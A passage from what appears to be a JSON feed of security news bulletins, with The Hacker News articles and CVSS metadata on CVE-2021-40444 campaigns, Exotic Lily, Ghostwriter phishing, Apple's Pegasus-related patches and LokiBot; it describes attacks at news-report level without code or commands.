[BazarBackdoor](<https://thehackernews.com/2021/07/phony-call-centers-tricking-users-into.html>), and [Anchor](<https://thehackernews.com/2022/03/trickbot-malware-gang-upgrades-its.html>).\n\n\"Yes, this is a possibility, especially considering this is more sophisticated and targeted than a traditional spam campaign, but we don't know for sure as of now,\" Google TAG told The Hacker News when asked whether Exotic Lily could be another extension of the Wizard Spider group.\n\n\"In the [Conti leaks](<https://thehackernews.com/2022/03/conti-ransomware-gangs-internal-chats.html>), Conti members mention 'spammers' as someone who they work with (e.g., provide custom-built 'crypted' malware samples, etc.) through outsourcing. However, most of the 'spammers' don't seem to be present (or actively communicate) in the chat, hence leading to a conclusion they're operating as a separate entity.\"\n\n[![](https://thehackernews.com/new-images/img/a/AVvXsEiRLlObJVyztso8c0_EbePqlTPrjHuRu1-NWCjxiV47unTWyXRykIMkEo4lnhKEbWUZSP4zUPmn3jo-N6O4gz5CgskYHypFzEWSI4djVkBE6Gle_kwlb7Mp7tQN5cmk2BPWhrXILnSvxl38u2qgqfAntvF85WiXMyt0WIn_ikXRHLwk6apNoOd64qob)](<https://thehackernews.com/new-images/img/a/AVvXsEiRLlObJVyztso8c0_EbePqlTPrjHuRu1-NWCjxiV47unTWyXRykIMkEo4lnhKEbWUZSP4zUPmn3jo-N6O4gz5CgskYHypFzEWSI4djVkBE6Gle_kwlb7Mp7tQN5cmk2BPWhrXILnSvxl38u2qgqfAntvF85WiXMyt0WIn_ikXRHLwk6apNoOd64qob>)\n\nThe threat actor's social engineering lures, sent from spoofed email accounts, have specifically singled out IT, cybersecurity, and healthcare sectors, although post November 2021, the attacks have grown to be more indiscriminate, targeting a wide variety of organizations and industries.\n\nBesides using fictitious companies and identities as a means to build trust with the targeted entities, Exotic Lily has leveraged legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver [BazarBackdoor payloads](<https://abnormalsecurity.com/blog/bazarloader-contact-form>) in a bid to evade detection mechanisms.\n\n[![](https://thehackernews.com/new-images/img/a/AVvXsEjD7gTpku0C6R-pc9VwoTyiLgYiON0B6dyOqyFgyXxeXOTvF5CYHGGGVF3SC9He4ccMof89UgDp1tK7Xuin_iXJUH3yaRAFHQbBlmFKaz-VMRRWlsJZkQMC2Nsov-UnJQdUe37HX901rV208dbe-xqakcZ50w5XWf02Ldv4BMHbCtI-It_dm8dsiLFc)](<https://thehackernews.com/new-images/img/a/AVvXsEjD7gTpku0C6R-pc9VwoTyiLgYiON0B6dyOqyFgyXxeXOTvF5CYHGGGVF3SC9He4ccMof89UgDp1tK7Xuin_iXJUH3yaRAFHQbBlmFKaz-VMRRWlsJZkQMC2Nsov-UnJQdUe37HX901rV208dbe-xqakcZ50w5XWf02Ldv4BMHbCtI-It_dm8dsiLFc>)\n\nThe rogue personas often posed as employees of firms such as Amazon, complete with fraudulent social media profiles on LinkedIn that featured fake AI-generated profile pictures. The group is also said to have impersonated real company employees by lifting their personal data from social media and business databases like RocketReach and CrunchBase.\n\n\"At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker's email, which presents additional detection challenges,\" the researchers said.\n\nAlso delivered using the MHTML exploit is a custom loader called Bumblebee that's orchestrated to gather and exfiltrate system information to a remote server, which responds back commands to execute shellcode and run next-stage executables, including Cobalt Strike.\n\nAn analysis of the Exotic Lily's communication activity indicates that the threat actors have a \"typical 9-to-5 job\" on weekdays and may be possibly working from a Central or an Eastern Europe time zone.\n\n\"Exotic Lily seems to operate as a separate entity, focusing on acquiring initial access through email campaigns, with follow-up activities that include deployment of Conti and Diavol ransomware, which are performed by a different set of actors,\" the researchers concluded.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-18T07:31:00", "type": "thn", "title": "Google Uncovers 'Initial Access Broker' Working with Conti Ransomware Gang", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-07-21T13:32:08", "id": "THN:959FD46A8D71CA9DDAEDD6516113CE3E", "href": "https://thehackernews.com/2022/03/google-uncovers-initial-access-broker.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:20", "description": "[![](https://thehackernews.com/images/-KnvkhCvOrtg/YTgvMst2aSI/AAAAAAAADvs/ibzrIC7hu6wR3f2vrtI3U2rW7SVg6UbKQCLcBGAsYHQ/s0/microsoft-office-hack.jpg)](<https://thehackernews.com/images/-KnvkhCvOrtg/YTgvMst2aSI/AAAAAAAADvs/ibzrIC7hu6wR3f2vrtI3U2rW7SVg6UbKQCLcBGAsYHQ/s0/microsoft-office-hack.jpg>)\n\nMicrosoft on Tuesday warned of an actively exploited zero-day flaw impacting Internet Explorer that's being used to hijack vulnerable Windows systems by leveraging weaponized Office documents.\n\nTracked as CVE-2021-40444 (CVSS score: 8.8), the remote code execution flaw is rooted in MSHTML (aka Trident), a proprietary browser engine for the now-discontinued Internet Explorer and which is used in Office to render web content inside Word, Excel, and PowerPoint documents.\n\n\"Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents,\" the company [said](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>).\n\n\"An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights,\" it added.\n\nThe Windows maker credited researchers from EXPMON and Mandiant for reporting the flaw, although the company did not disclose additional specifics about the nature of the attacks, the identity of the adversaries exploiting this zero-day, or their targets in light of real-world attacks.\n\nEXPMON, in a [tweet](<https://twitter.com/EXPMON_/status/1435309115883020296>), noted it found the vulnerability after detecting a \"highly sophisticated zero-day attack\" aimed at Microsoft Office users, adding it passed on its findings to Microsoft on Sunday. \"The exploit uses logical flaws so the exploitation is perfectly reliable (& dangerous),\" EXPMON researchers said.\n\nHowever, it's worth pointing out that the current attack can be suppressed if Microsoft Office is run with default configurations, wherein documents downloaded from the web are opened in [Protected View](<https://support.microsoft.com/en-us/topic/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653>) or [Application Guard for Office](<https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/install-app-guard?view=o365-worldwide>), which is designed to prevent untrusted files from accessing trusted resources in the compromised system.\n\nMicrosoft, upon completion of the investigation, is expected to either release a security update as part of its Patch Tuesday monthly release cycle or issue an out-of-band patch \"depending on customer needs.\" In the interim, the Windows maker is urging users and organizations to disable all ActiveX controls in Internet Explorer to mitigate any potential attack.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-08T03:37:00", "type": "thn", "title": "New 0-Day Attack Targeting Windows Users With Microsoft Office Documents", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T04:55:07", "id": "THN:D4E86BD8938D3B2E15104CA4922A51F8", "href": "https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-05T03:38:09", "description": "[![Ukraine CyberAttacks](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjI291J10LW67nc2C0UITCwpnhtduhMMY8ndL7-O83eu0zDh2WUIKe9oQiLkdnGI3y197Sqw_347ZW1fDrAE20TW48AvjuRlbQs4jajAbPaCjJbtzYHF8r5WHSfDMS_3mNTO-vTSDdTv2WKNT9BNnzfC2vPEosQs6BTjTvxD329uaye72syjHXguduS/s728-e1000/flag.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjI291J10LW67nc2C0UITCwpnhtduhMMY8ndL7-O83eu0zDh2WUIKe9oQiLkdnGI3y197Sqw_347ZW1fDrAE20TW48AvjuRlbQs4jajAbPaCjJbtzYHF8r5WHSfDMS_3mNTO-vTSDdTv2WKNT9BNnzfC2vPEosQs6BTjTvxD329uaye72syjHXguduS/s728-e100/flag.jpg>)\n\nA Belarusian threat actor known as Ghostwriter (aka UNC1151) has been spotted leveraging the recently disclosed browser-in-the-browser (BitB) technique as part of their credential phishing campaigns exploiting the ongoing Russo-Ukrainian conflict.\n\nThe method, which [masquerades](<https://thehackernews.com/2022/03/new-browser-in-browser-bitb-attack.html>) as a legitimate domain by simulating a browser window within the browser, makes it possible to mount convincing social engineering campaigns.\n\n\"Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites,\" Google's Threat Analysis Group (TAG) [said](<https://blog.google/threat-analysis-group/tracking-cyber-activity-eastern-europe/>) in a new report, using it to siphon credentials entered by unsuspected victims to a remote server.\n\nAmong other groups [using the war as a lure](<https://thehackernews.com/2022/03/google-russian-hackers-target.html>) in phishing and malware campaigns to deceive targets into opening fraudulent emails or links include [Mustang Panda](<https://thehackernews.com/2022/03/chinese-mustang-panda-hackers-spotted.html>) and [Scarab](<https://thehackernews.com/2022/03/another-chinese-hacking-group-spotted.html>) as well as nation-state actors from Iran, North Korea, and Russia.\n\nAlso included in the list is Curious Gorge, a hacking crew that TAG has attributed to China's People's Liberation Army Strategic Support Force (PLASSF), which has orchestrated attacks against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.\n\nA third set of attacks observed over the past two-week period originated from a Russia-based hacking group known as COLDRIVER (aka Callisto). TAG said that the actor staged credential phishing campaigns targeting multiple U.S.-based NGOs and think tanks, the military of a Balkans country, and an unnamed Ukrainian defense contractor.\n\n\"However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence,\" TAG researcher Billy Leonard said. \"These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.\"\n\n### Viasat breaks down February 24 Attack\n\nThe disclosure comes as U.S.-based telecommunications firm Viasat spilled details of a \"multifaceted and deliberate\" cyber attack against its KA-SAT network on February 24, 2022, coinciding with Russia's military invasion of Ukraine.\n\nThe attack on the satellite broadband service disconnected tens of thousands of modems from the network, impacting several customers in Ukraine and across Europe and affecting the [operations of 5,800 wind turbines](<https://www.reuters.com/business/energy/satellite-outage-knocks-out-control-enercon-wind-turbines-2022-02-28/>) belonging to the German company Enercon in Central Europe.\n\n[![Ukraine CyberAttacks](https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjBPeFDF2b99SCr6BVB_zZ-LCkJ_Z4VIMJJ2_hv0dUXzJcbyh_0y2xuG6Ih-wOEDAAPScYYXNZFPIRH4HldJI-VuJV3m-fvIGibDE8t_PLlac8yuJ61A4gBdKQp6TWVpKqVMIRJm7Yxt_9F3F0hbUWlh8rMT48xechHXRrjEbMDZ2TLWlcobJPrpxEq/s728-e1000/phishing.jpg)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjBPeFDF2b99SCr6BVB_zZ-LCkJ_Z4VIMJJ2_hv0dUXzJcbyh_0y2xuG6Ih-wOEDAAPScYYXNZFPIRH4HldJI-VuJV3m-fvIGibDE8t_PLlac8yuJ61A4gBdKQp6TWVpKqVMIRJm7Yxt_9F3F0hbUWlh8rMT48xechHXRrjEbMDZ2TLWlcobJPrpxEq/s728-e100/phishing.jpg>)\n\n\"We believe the purpose of the attack was to interrupt service,\" the company [explained](<https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/>). \"There is no evidence that any end-user data was accessed or compromised, nor customer personal equipment (PCs, mobile devices, etc.) was improperly accessed, nor is there any evidence that the KA-SAT satellite itself or its supporting satellite ground infrastructure itself were directly involved, impaired or compromised.\"\n\nViasat linked the attack to a \"ground-based network intrusion\" that exploited a misconfiguration in a VPN appliance to gain remote access to the KA-SAT network and execute destructive commands on the modems that \"overwrote key data in flash memory,\" rendering them temporarily unable to access the network.\n\n### Russian dissidents targeted with Cobalt Strike\n\nThe relentless attacks are the latest in a long list of malicious cyber activities that have emerged in the wake of the continuing conflict in Eastern Europe, with government and commercial networks suffering from a string of disruptive [data wiper infections](<https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html>) in conjunction with a series of ongoing distributed denial-of-service (DDoS) attacks.\n\nThis has also taken the form of compromising legitimate WordPress sites to inject rogue JavaScript code with the goal of carrying out DDoS attacks against Ukrainian domains, according to [researchers](<https://twitter.com/malwrhunterteam/status/1508517334239043584>) from the MalwareHunterTeam.\n\nBut it's not just Ukraine. Malwarebytes Labs this week laid out specifics of a new spear-phishing campaign targeting Russian citizens and government entities in an attempt to deploy pernicious payloads on compromised systems.\n\n\"The spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid,\" Hossein Jazi [said](<https://blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents/>). \"Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.\"\n\nThe malware-laced RTF documents contain an exploit for the widely abused MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://thehackernews.com/2022/01/hackers-exploited-mshtml-flaw-to-spy-on.html>)), leading to the execution of a JavaScript code that spawns a PowerShell command to download and execute a Cobalt Strike beacon retrieved from a remote server.\n\nAnother cluster of activity potentially relates to a Russian threat actor tracked as Carbon Spider (aka [FIN7](<https://thehackernews.com/2021/10/hackers-set-up-fake-company-to-get-it.html>)), which has employed a similar maldocs-oriented attack vector that's engineered to drop a PowerShell-based backdoor capable of fetching and running a next-stage executable.\n\nMalwarebytes also said it has detected a \"significant uptick in malware families being used with the intent of stealing information or otherwise gaining access in Ukraine,\" including [Hacktool.LOIC](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=HackTool%3AWin32%2FOylecann.A>), [Ainslot Worm](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Ainslot.A!reg>), FFDroider, [Formbook](<https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook>), [Remcos](<https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos>), and [Quasar RAT](<https://lab52.io/blog/another-cyber-espionage-campaign-in-the-russia-ukrainian-ongoing-cyber-attacks/>).\n\n\"While these families are all relatively common in the cybersecurity world, the fact that we witnessed spikes almost exactly when Russian troops crossed the Ukrainian border makes these developments interesting and unusual,\" Adam Kujawa, director of Malwarebytes Labs, said in a statement shared with The Hacker News.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-31T13:02:00", "type": "thn", "title": "Hackers Increasingly Using 'Browser-in-the-Browser' Technique in Ukraine Related Attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2022-05-05T02:23:33", "id": "THN:4E80D9371FAC9B29044F9D8F732A3AD5", "href": "https://thehackernews.com/2022/03/hackers-increasingly-using-browser-in.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:19", "description": "[![Pegasus Spyware](https://thehackernews.com/images/-xrJNXUUrPpA/YUAmXL5uYDI/AAAAAAAADyk/KnzZD6V6H1YU07j0N5PjRNos-MQJgKVnwCLcBGAsYHQ/s728-e1000/apple-update.jpg)](<https://thehackernews.com/images/-xrJNXUUrPpA/YUAmXL5uYDI/AAAAAAAADyk/KnzZD6V6H1YU07j0N5PjRNos-MQJgKVnwCLcBGAsYHQ/s0/apple-update.jpg>)\n\nApple has released [iOS 14.8, iPadOS 14.8](<https://support.apple.com/en-us/HT212807>), [watchOS 7.6.2](<https://support.apple.com/en-us/HT212806>), [macOS Big Sur 11.6](<https://support.apple.com/en-us/HT212804>), and [Safari 14.1.2](<https://support.apple.com/en-us/HT212808>) to fix two actively exploited vulnerabilities, one of which defeated extra security protections built into the operating system.\n\nThe list of two flaws is as follows -\n\n * **CVE-2021-30858** (WebKit) - A use after free issue that could result in arbitrary code execution when processing maliciously crafted web content. The flaw has been addressed with improved memory management.\n * **CVE-2021-30860** (CoreGraphics) - An integer overflow vulnerability that could lead to arbitrary code execution when processing a maliciously crafted PDF document. The bug has been remediated with improved input validation.\n\n\"Apple is aware of a report that this issue may have been actively exploited,\" the iPhone maker noted in its advisory.\n\nThe updates arrive weeks after researchers from the University of Toronto's Citizen Lab revealed details of a zero-day exploit called \"[FORCEDENTRY](<https://thehackernews.com/2021/08/bahraini-activists-targeted-using-new.html>)\" (aka Megalodon) that was weaponized by Israeli surveillance vendor NSO Group and allegedly put to use by the government of Bahrain to install Pegasus spyware on the phones of nine activists in the country since February this year.\n\nBesides being triggered simply by sending a malicious message to the target, FORCEDENTRY is also notable for the fact that it expressly undermines a new software security feature called [BlastDoor](<https://thehackernews.com/2021/01/google-uncovers-new-ios-security.html>) that Apple baked into iOS 14 to prevent zero-click intrusions by filtering untrusted data sent over iMessage.\n\n\"Our latest discovery of yet another Apple zero day employed as part of NSO Group's arsenal further illustrates that companies like NSO Group are facilitating 'despotism-as-a-service' for unaccountable government security agencies,\" Citizen Lab researchers [said](<https://citizenlab.ca/2021/09/forcedentry-nso-group-imessage-zero-click-exploit-captured-in-the-wild/>).\n\n\"Ubiquitous chat apps have become a major target for the most sophisticated threat actors, including nation state espionage operations and the mercenary spyware companies that service them. As presently engineered, many chat apps have become an irresistible soft target,\" they added.\n\nCitizen Lab said it found the never-before-seen malware on the phone of an unnamed Saudi activist, with the exploit chain kicking in when victims receive a text message containing a malicious GIF image that, in reality, are Adobe PSD (Photoshop Document files) and PDF files designed to crash the iMessage component responsible for automatically rendering images and deploy the surveillance tool.\n\nCVE-2021-30858, on the other hand, is the latest in a number of WebKit zero-day flaws Apple has rectified this year alone. With this set of latest updates, the company has patched a total of [15 zero-day vulnerabilities](<https://thehackernews.com/2021/07/apple-releases-urgent-0-day-bug-patch.html>) since the start of 2021.\n\nApple iPhone, iPad, Mac, and Apple Watch users are advised to immediately update their software to mitigate any potential threats arising out of active exploitation of the flaws.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-14T04:35:00", "type": "thn", "title": "Apple Issues Urgent Updates to Fix New Zero-Day Linked to Pegasus Spyware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30858", "CVE-2021-30860"], "modified": "2021-09-14T05:26:33", "id": "THN:919B3D59F2A9DE80FF2DC5F8833E4831", "href": "https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-07-17T10:25:40", "description": "[![Microsoft Word](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8Xw8AAoMBgDTD2qgAAAAASUVORK5CYII=)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjJOMAEPqVWWitHSvFnZCKLyOSaDJql5EnF-l96RW57mmexBC_GQqnd__4R64YlOri0OO7PI1E6Pz9ezQs2U8kPJJA_6b2rXJnClq7hdpQjRTSwBjMOACqATXTcr67r69MFPbkkIxmbAcrcHcOa4bK7EWNBIVqGb74_0P1I1nXV7ZrpYVHtpOPYFnbxDxU9/s728-e365/macro.jpg>)\n\nMicrosoft Word documents exploiting known remote code execution flaws are being used as phishing lures to drop malware called **LokiBot** on compromised systems.\n\n\"LokiBot, also known as Loki PWS, has been a well-known information-stealing Trojan active since 2015,\" Fortinet FortiGuard Labs researcher Cara Lin [said](<https://www.fortinet.com/blog/threat-research/lokibot-targets-microsoft-office-document-using-vulnerabilities-and-macros>). \"It primarily targets Windows systems and aims to gather sensitive information from infected machines.\"\n\nThe cybersecurity company, which spotted the campaign in May 2023, said the attacks take advantage of [CVE-2021-40444](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) and [CVE-2022-30190](<https://thehackernews.com/2023/07/romcom-rat-targeting-nato-and-ukraine.html>) (aka Follina) to achieve code execution.\n\nThe Word file that weaponizes CVE-2021-40444 contains an external GoFile link embedded within an XML file that leads to the download of an HTML file, which exploits Follina to download a next-stage payload, an injector module written in Visual Basic that decrypts and launches LokiBot.\n\nThe injector also features evasion techniques to check for the presence of debuggers and determine if it's running in a virtualized environment.\n\n[![LokiBot Malware](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8Xw8AAoMBgDTD2qgAAAAASUVORK5CYII=)](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhY0lBlalarJC15jGyY-iAo2cMsq9PmNO4l9CUjSvoLs_pFjhqaurstC3hpmGK9Z_LVY_Jzn5eET2tVtVC6fXjHE3_x17nB7UHLASP0A2WJSOfZKzS1XZgB0b5823Y1rklx3CtJLIzZLZZAWo8Py2PPQZEYFUQR-ZmWWl9JmGCLVLfE-PUdMq-d3r2MlL57/s728-e365/doc.jpg>)\n\nAn alternative chain discovered towards the end of May starts with a Word document incorporating a VBA script that executes a macro immediately upon opening the document using the \"Auto_Open\" and \"Document_Open\" functions.\n\nThe macro script subsequently acts as a conduit to deliver an interim payload from a remote server, which also functions as an injector to load LokiBot and connect to a command-and-control (C2) server.\n\nUPCOMING WEBINAR\n\n[Shield Against Insider Threats: Master SaaS Security Posture Management\n\n](<https://thn.news/I26t1VFD>)\n\nWorried about insider threats? We've got you covered! Join this webinar to explore practical strategies and the secrets of proactive security with SaaS Security Posture Management.\n\n[Join Today](<https://thn.news/I26t1VFD>)\n\n[LokiBot](<https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws>), not to be confused with an [Android banking trojan](<https://malpedia.caad.fkie.fraunhofer.de/details/apk.lokibot>) of the same name, comes with capabilities to log keystrokes, capture screenshots, gather login credential information from web browsers, and siphon data from a variety of cryptocurrency wallets.\n\n\"LokiBot is a long-standing and widespread malware active for many years,\" Lin said. \"Its functionalities have matured over time, making it easy for cybercriminals to use it to steal sensitive data from victims. The attackers behind LokiBot continually update their initial access methods, allowing their malware campaign to find more efficient ways to spread and infect systems.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-17T09:04:00", "type": "thn", "title": "Cybercriminals Exploit Microsoft Word Vulnerabilities to Deploy LokiBot Malware", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444", "CVE-2022-30190"], "modified": "2023-07-17T09:04:48", "id": "THN:1B5512B7CB75F82A34395AC39A9B2680", "href": "https://thehackernews.com/2023/07/cybercriminals-exploit-microsoft-word.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:16", "description": "[![iOS and macOS Updates](https://thehackernews.com/images/-5dTHnEs3qjc/YU1EKDZsIKI/AAAAAAAAD4o/SztREgil99ENgTumohbms1jhEOBVjMiwACLcBGAsYHQ/s728-e1000/apple-software-update.jpg)](<https://thehackernews.com/images/-5dTHnEs3qjc/YU1EKDZsIKI/AAAAAAAAD4o/SztREgil99ENgTumohbms1jhEOBVjMiwACLcBGAsYHQ/s0/apple-software-update.jpg>)\n\nApple on Thursday released security updates to fix multiple security vulnerabilities in older versions of [iOS](<https://support.apple.com/en-us/HT212824>) and [macOS](<https://support.apple.com/en-us/HT212825>) that it says have been detected in exploits in the wild, in addition to expanding patches for a previously plugged security weakness abused by NSO Group's Pegasus surveillance tool to target iPhone users.\n\nChief among them is CVE-2021-30869, a type confusion flaw that resides in the kernel component [XNU](<https://en.wikipedia.org/wiki/XNU>) developed by Apple that could cause a malicious application to execute arbitrary code with the highest privileges. The Cupertino-based tech giant said it addressed the bug with improved state handling.\n\nGoogle's Threat Analysis Group, which is credited with reporting the flaw, [said](<https://twitter.com/ShaneHuntley/status/1441102086385455112>) it detected the vulnerability being 